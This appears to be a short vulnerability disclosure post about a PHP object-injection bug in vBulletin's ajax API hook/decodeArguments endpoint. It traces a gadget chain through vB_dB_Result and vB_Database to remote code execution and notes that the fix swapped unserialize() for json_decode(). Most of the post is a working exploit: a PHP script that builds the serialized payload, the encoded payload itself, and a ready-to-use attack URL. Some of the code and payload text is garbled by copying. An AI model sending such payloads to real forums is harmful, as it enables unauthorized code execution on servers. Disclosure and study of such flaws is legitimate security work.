by @_cutz
vBulletin implements certain ajax API calls in /core/vb/api/, one of them is hook.php:
public function decodeArguments($arguments)
{
if ($args = @unserialize($arguments))
{
$result = '';
foreach ($args AS $varname => $value)
{
$result .= $varname;
Apart from the obvious unserialize() not much else happening there -- luckily we have in /core/vb/db/result.php:
class vB_dB_Result implements Iterator
{
...
public function rewind()
{
//no need to rerun the query if we are at the beginning of the recordset.
if ($this->bof)
{
return;
}
if ($this->recordset)
{
$this->db->free_result($this->recordset);
}
rewind() is the first function to get called when an Iterator object is accessed via foreach(). Then we have in /core/vb/database.php:
abstract class vB_Database
{
...
function free_result($queryresult)
{
$this->sql = '';
return @$this->functions['free_result']($queryresult);
}
Which gives easy RCE. Setup objects accordingly:
$ php functions['free_result'] = 'phpinfo';
}
}
class vB_dB_Result {
protected $db;
protected $recordset;
public function __construct()
{
$this->db = new vB_Database();
$this->recordset = 1;
}
}
print urlencode(serialize(new vB_dB_Result())) . "\n";
eof
O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%0 0%2A%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7 Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22 free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3 A12%3A%22%00%2A%00recordset%22%3Bi%3A1%3B%7D
Just surf to:
http://localhost/vbforum/ajax/api/hook/decodeArguments?arguments=O:12:"vB_dB_Result":2:{s :5:"�*�db";O:11:"vB_Database":1:{s:9:"function s";a:1:{s:11:"free_result";s:7:"phpinfo";}}s:12:"� ��*�recordset";i:1;}
The fix was just replacing the unserialize() with json_decode(). Btw this bug has been sitting in vBulletin for more than three years.
-- cutz